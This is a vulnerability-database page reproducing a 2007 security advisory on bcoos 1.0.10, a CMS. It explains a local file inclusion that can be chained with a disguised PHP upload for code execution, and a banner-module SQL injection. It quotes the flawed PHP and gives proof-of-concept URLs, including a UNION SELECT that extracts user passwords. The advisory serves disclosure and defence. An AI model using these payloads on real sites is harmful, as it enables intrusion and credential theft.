Lucene search
+L

bcoos 1.0.10 - Local File Inclusion / SQL Injection

🗓️ 20 Nov 2007 00:00:00Reported by BugReport.IRType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

Bcoos 1.0.10 Multiple Vulnerabilities including Local File Inclusion and SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2007-6080
27 Oct 200800:00
circl
cve
CVE
CVE-2007-6079
21 Nov 200722:00
cve
cve
CVE
CVE-2007-6080
21 Nov 200722:00
cve
cvelist
Cvelist
CVE-2007-6079
21 Nov 200722:00
cvelist
cvelist
Cvelist
CVE-2007-6080
21 Nov 200722:00
cvelist
exploitdb
Exploit DB
bcoos 1.0.13 - 'click.php' SQL Injection
27 Oct 200800:00
exploitdb
euvd
EUVD
EUVD-2007-6048
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2007-6049
7 Oct 202500:30
euvd
nvd
NVD
CVE-2007-6079
21 Nov 200722:46
nvd
nvd
NVD
CVE-2007-6080
21 Nov 200722:46
nvd
Rows per page
########################## WwW.BugReport.ir ###########################################
#
#      AmnPardaz Security Research & Penetration Testing Group
#
# Title: Bcoos Multiple Vulnerabilities
# Vendor: http://www.bcoos.net/
# Bugs: Local File Inclusion, Sql Injection
# Vulnerable Version: bcoos 1.0.10 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix Available: No!
#######################################################################################
#
# Leaders : Shahin Ramezany & Sorush Dalili
# Team Members: Alireza Hasani ,Amir Hossein Khonakdar, Hamid Farhadi
# Security Site: WwW.BugReport.ir - WwW.AmnPardaz.Com
# Country: Iran
# Contact : [email protected]
######################## Bug Description ###########################


Description:
--------------------
Bcoos is a CMS coming from the cores of E-Xoops.

Vulnerabilities:
--------------------
+-->Local File Inclusion (Remote Code Execution)

Code Snippet:

/include/common.php line#89-98

// ################# :: Register Globals Compatibility :: #################
$globals_test = @ini_get('register_globals');
if ( isset($globals_test) && empty($globals_test) ) {
	// These still need some work :: Cookie|Server|Env are ok now.
	if ( !empty($_GET) )  { extract($_GET, EXTR_SKIP);  }
	if ( !empty($_POST) ) { extract($_POST, EXTR_OVERWRITE); }
	define('_GLOBALS', FALSE);
	} else {
		define('_GLOBALS', TRUE);
	}

/include/common.php line#124-129

// ################ Include page-specific lang file ################
if ( isset($xoopsOption['pagetype']) ) {
	if ( @file_exists(XOOPS_ROOT_PATH.'/language/'.$bcoosConfig['language'].'/'.$xoopsOption['pagetype'].'.php') ) {
		include_once(XOOPS_ROOT_PATH.'/language/'.$bcoosConfig['language'].'/'.$xoopsOption['pagetype'].'.php');
		} else {
			include_once(XOOPS_ROOT_PATH.'/language/english/'.$xoopsOption['pagetype'].'.php');

$xoopsOption['pagetype'] is not defined by default, so it's possible for an attacker to define
it by both $_GET or $_POST methods to conduct Local file inclusion!
Furthermore bcoos doesn't properly validate the content of user supplied Uploads!
Attacker could upload php codes with .gif extension and include it using above vulnerability!

POC: http://localhost/bcoos/modules/news/?xoopsOption[pagetype]=../../images/avatar/users/[uid].gif%00

+-->Banner Module Sql Injection

Bcoos doesn't properly validate the user supplied Input in click.php that may result in Sql injection if banners modules is installed by Site admin!

Code Snippet:

/modules/banners/click.php line#4-6

if ($_GET['bid']) {
	$bid = $_GET['bid'];
	$result = $db->query("SELECT clickurl FROM ".$db->prefix("banner_items")." WHERE bid=$bid");

POC: http://localhost/bcoos/modules/banners/click.php?bid=-1 UNION SELECT pass FROM bcoos_users LIMIT 1

Credit:
--------------------
Discovered by trueend5 (trueend5 yahoo com)
AmnPardaz Security Research & Penetration Testing Group
WwW.BugReport.ir

# milw0rm.com [2007-11-20]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Nov 2007 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.01885
40